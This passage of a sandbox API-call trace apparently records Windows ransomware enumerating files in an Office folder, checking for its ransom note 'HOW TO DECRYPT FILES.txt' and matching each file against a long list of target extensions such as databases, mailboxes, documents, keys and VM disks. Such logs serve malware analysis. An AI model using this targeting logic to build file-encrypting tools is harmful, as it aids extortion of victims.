Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.360] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.360] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.360] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.DE.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML" [0066.360] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.ems") returned 0 [0066.360] lstrlenA (lpString="*.ems") returned 5 [0066.360] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.db") returned 0 [0066.360] lstrlenA (lpString="*.db") returned 4 [0066.360] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.dbf") returned 0 [0066.360] lstrlenA (lpString="*.dbf") returned 5 [0066.360] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.myox") returned 0 [0066.360] lstrlenA (lpString="*.myox") returned 6 [0066.360] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.myo") returned 0 [0066.360] lstrlenA (lpString="*.myo") returned 5 [0066.360] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qbw") returned 0 [0066.361] lstrlenA (lpString="*.qbw") returned 5 [0066.361] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qbb") returned 0 [0066.361] lstrlenA (lpString="*.qbb") returned 5 [0066.361] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qbm") returned 0 [0066.361] lstrlenA (lpString="*.qbm") returned 5 [0066.361] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qbo") returned 0 [0066.361] lstrlenA (lpString="*.qbo") returned 5 [0066.361] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qbx") returned 0 [0066.361] lstrlenA (lpString="*.qbx") returned 5 [0066.361] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qba") returned 0 [0066.361] lstrlenA (lpString="*.qba") returned 5 [0066.361] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qby") returned 0 [0066.361] lstrlenA (lpString="*.qby") returned 5 [0066.361] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qbj") returned 0 [0066.361] lstrlenA (lpString="*.qbj") returned 5 [0066.361] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.ofx") returned 0 [0066.362] lstrlenA (lpString="*.ofx") returned 5 [0066.362] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.qif") returned 0 [0066.362] lstrlenA (lpString="*.qif") returned 5 [0066.362] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.mye") returned 0 [0066.362] lstrlenA (lpString="*.mye") returned 5 [0066.362] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.mbox") returned 0 [0066.362] lstrlenA (lpString="*.mbox") returned 6 [0066.362] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.eml") returned 0 [0066.362] lstrlenA (lpString="*.eml") returned 5 [0066.362] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.pst") returned 0 [0066.362] lstrlenA (lpString="*.pst") returned 5 [0066.362] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.ost") returned 0 [0066.362] lstrlenA (lpString="*.ost") returned 5 [0066.362] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.idx") returned 0 [0066.362] lstrlenA (lpString="*.idx") returned 5 [0066.363] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.dbx") returned 0 [0066.363] lstrlenA (lpString="*.dbx") returned 5 [0066.363] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.sql") returned 0 [0066.363] lstrlenA (lpString="*.sql") returned 5 [0066.363] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.mdb") returned 0 [0066.363] lstrlenA (lpString="*.mdb") returned 5 [0066.363] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.fdb") returned 0 [0066.363] lstrlenA (lpString="*.fdb") returned 5 [0066.363] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.wab") returned 0 [0066.363] lstrlenA (lpString="*.wab") returned 5 [0066.363] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.dat") returned 0 [0066.363] lstrlenA (lpString="*.dat") returned 5 [0066.363] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.txt") returned 0 [0066.364] lstrlenA (lpString="*.txt") returned 5 [0066.364] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.jpeg") returned 0 [0066.364] lstrlenA (lpString="*.jpeg") returned 6 [0066.364] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.jpg") returned 0 [0066.364] lstrlenA (lpString="*.jpg") returned 5 [0066.364] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.png") returned 0 [0066.364] lstrlenA (lpString="*.png") returned 5 [0066.364] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.php") returned 0 [0066.364] lstrlenA (lpString="*.php") returned 5 [0066.364] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.cs") returned 0 [0066.364] lstrlenA (lpString="*.cs") returned 4 [0066.364] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.cpp") returned 0 [0066.364] lstrlenA (lpString="*.cpp") returned 5 [0066.364] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.rar") returned 0 [0066.365] lstrlenA (lpString="*.rar") returned 5 [0066.365] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.zip") returned 0 [0066.365] lstrlenA (lpString="*.zip") returned 5 [0066.365] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.html") returned 0 [0066.365] lstrlenA (lpString="*.html") returned 6 [0066.365] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.htm") returned 0 [0066.365] lstrlenA (lpString="*.htm") returned 5 [0066.365] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.xlsx") returned 0 [0066.365] lstrlenA (lpString="*.xlsx") returned 6 [0066.365] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.xls") returned 0 [0066.365] lstrlenA (lpString="*.xls") returned 5 [0066.365] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.mp4") returned 0 [0066.365] lstrlenA (lpString="*.mp4") returned 5 [0066.365] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.ppt") returned 0 [0066.365] lstrlenA (lpString="*.ppt") returned 5 [0066.366] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.pptx") returned 0 [0066.366] lstrlenA (lpString="*.pptx") returned 6 [0066.366] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.doc") returned 0 [0066.366] lstrlenA (lpString="*.doc") returned 5 [0066.366] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.dot") returned 0 [0066.366] lstrlenA (lpString="*.dot") returned 5 [0066.366] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.docx") returned 0 [0066.366] lstrlenA (lpString="*.docx") returned 6 [0066.366] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.7z") returned 0 [0066.366] lstrlenA (lpString="*.7z") returned 4 [0066.366] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.tar") returned 0 [0066.366] lstrlenA (lpString="*.tar") returned 5 [0066.366] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.bz2") returned 0 [0066.367] lstrlenA (lpString="*.bz2") returned 5 [0066.367] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.gz") returned 0 [0066.367] lstrlenA (lpString="*.gz") returned 4 [0066.367] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.mkv") returned 0 [0066.367] lstrlenA (lpString="*.mkv") returned 5 [0066.367] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.eml") returned 0 [0066.367] lstrlenA (lpString="*.eml") returned 5 [0066.367] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.msg") returned 0 [0066.367] lstrlenA (lpString="*.msg") returned 5 [0066.367] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.edb") returned 0 [0066.367] lstrlenA (lpString="*.edb") returned 5 [0066.367] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.accdb") returned 0 [0066.367] lstrlenA (lpString="*.accdb") returned 7 [0066.367] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.odb") returned 0 [0066.367] lstrlenA (lpString="*.odb") returned 5 [0066.368] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.java") returned 0 [0066.368] lstrlenA (lpString="*.java") returned 6 [0066.368] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.asm") returned 0 [0066.368] lstrlenA (lpString="*.asm") returned 5 [0066.368] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.pfx") returned 0 [0066.368] lstrlenA (lpString="*.pfx") returned 5 [0066.368] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.pem") returned 0 [0066.368] lstrlenA (lpString="*.pem") returned 5 [0066.368] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.p12") returned 0 [0066.368] lstrlenA (lpString="*.p12") returned 5 [0066.368] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.gpg") returned 0 [0066.368] lstrlenA (lpString="*.gpg") returned 5 [0066.368] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.vsd") returned 0 [0066.368] lstrlenA (lpString="*.vsd") returned 5 [0066.368] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.odg") returned 0 [0066.369] lstrlenA (lpString="*.odg") returned 5 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.raw") returned 0 [0066.369] lstrlenA (lpString="*.raw") returned 5 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.nef") returned 0 [0066.369] lstrlenA (lpString="*.nef") returned 5 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.svg") returned 0 [0066.369] lstrlenA (lpString="*.svg") returned 5 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.psd") returned 0 [0066.369] lstrlenA (lpString="*.psd") returned 5 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.vmx") returned 0 [0066.369] lstrlenA (lpString="*.vmx") returned 5 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.vmdk") returned 0 [0066.369] lstrlenA (lpString="*.vmdk") returned 6 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.vdi") returned 0 [0066.369] lstrlenA (lpString="*.vdi") returned 5 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.lay6") returned 0 [0066.369] lstrlenA (lpString="*.lay6") returned 6 [0066.369] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.mpeg") returned 0 [0066.369] lstrlenA (lpString="*.mpeg") returned 6 [0066.370] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.djvu") returned 0 [0066.370] lstrlenA (lpString="*.djvu") returned 6 [0066.370] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.tiff") returned 0 [0066.370] lstrlenA (lpString="*.tiff") returned 6 [0066.370] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.backup") returned 0 [0066.370] lstrlenA (lpString="*.backup") returned 8 [0066.370] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.pdf") returned 0 [0066.370] lstrlenA (lpString="*.pdf") returned 5 [0066.370] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.cert") returned 0 [0066.370] lstrlenA (lpString="*.cert") returned 6 [0066.370] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.docm") returned 0 [0066.370] lstrlenA (lpString="*.docm") returned 6 [0066.370] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.xlsm") returned 0 [0066.370] lstrlenA (lpString="*.xlsm") returned 6 [0066.370] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.dwg") returned 0 [0066.371] lstrlenA (lpString="*.dwg") returned 5 [0066.371] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.nd") returned 0 [0066.371] lstrlenA (lpString="*.nd") returned 4 [0066.371] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.tlg") returned 0 [0066.371] lstrlenA (lpString="*.tlg") returned 5 [0066.371] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.lgb") returned 0 [0066.371] lstrlenA (lpString="*.lgb") returned 5 [0066.371] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.mov") returned 0 [0066.371] lstrlenA (lpString="*.mov") returned 5 [0066.371] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.xdw") returned 0 [0066.371] lstrlenA (lpString="*.xdw") returned 5 [0066.371] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.ods") returned 0 [0066.371] lstrlenA (lpString="*.ods") returned 5 [0066.371] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.wav") returned 0 [0066.371] lstrlenA (lpString="*.wav") returned 5 [0066.372] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.mp3") returned 0 [0066.372] lstrlenA (lpString="*.mp3") returned 5 [0066.372] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.aiff") returned 0 [0066.372] lstrlenA (lpString="*.aiff") returned 6 [0066.372] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.flac") returned 0 [0066.372] lstrlenA (lpString="*.flac") returned 6 [0066.372] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.m4a") returned 0 [0066.372] lstrlenA (lpString="*.m4a") returned 5 [0066.372] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML", pszSpec="*.csv") returned 0 [0066.372] lstrlenA (lpString="*.csv") returned 5 [0066.372] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x328, dwReserved0=0x780074, dwReserved1=0x74, cFileName="YAHOO.ES.XML", cAlternateFileName="YAHOOE~1.XML")) returned 1 [0066.372] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0066.372] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="YAHOO.ES.XML") returned -1 [0066.372] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="YAHOO.ES.XML") returned -1 [0066.373] lstrcmpiA (lpString1="", lpString2="YAHOO.ES.XML") returned -1 [0066.373] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.DE.XML") returned="YAHOO.DE.XML" [0066.373] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" [0066.373] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\") returned="" [0066.373] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" [0066.373] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\how to decrypt files.txt")) returned 0x20 [0066.373] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\", lpString2="YAHOO.ES.XML" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML" [0066.373] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.ems") returned 0 [0066.373] lstrlenA (lpString="*.ems") returned 5 [0066.373] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.db") returned 0 [0066.373] lstrlenA (lpString="*.db") returned 4 [0066.373] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.dbf") returned 0 [0066.373] lstrlenA (lpString="*.dbf") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.myox") returned 0 [0066.374] lstrlenA (lpString="*.myox") returned 6 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.myo") returned 0 [0066.374] lstrlenA (lpString="*.myo") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qbw") returned 0 [0066.374] lstrlenA (lpString="*.qbw") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qbb") returned 0 [0066.374] lstrlenA (lpString="*.qbb") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qbm") returned 0 [0066.374] lstrlenA (lpString="*.qbm") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qbo") returned 0 [0066.374] lstrlenA (lpString="*.qbo") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qbx") returned 0 [0066.374] lstrlenA (lpString="*.qbx") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qba") returned 0 [0066.374] lstrlenA (lpString="*.qba") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qby") returned 0 [0066.374] lstrlenA (lpString="*.qby") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qbj") returned 0 [0066.374] lstrlenA (lpString="*.qbj") returned 5 [0066.374] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.ofx") returned 0 [0066.375] lstrlenA (lpString="*.ofx") returned 5 [0066.375] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.qif") returned 0 [0066.375] lstrlenA (lpString="*.qif") returned 5 [0066.375] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.mye") returned 0 [0066.375] lstrlenA (lpString="*.mye") returned 5 [0066.375] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.mbox") returned 0 [0066.375] lstrlenA (lpString="*.mbox") returned 6 [0066.375] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.eml") returned 0 [0066.375] lstrlenA (lpString="*.eml") returned 5 [0066.375] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.pst") returned 0 [0066.375] lstrlenA (lpString="*.pst") returned 5 [0066.375] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.ost") returned 0 [0066.375] lstrlenA (lpString="*.ost") returned 5 [0066.375] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.ES.XML", pszSpec="*.idx") returned 0 [0066.375] 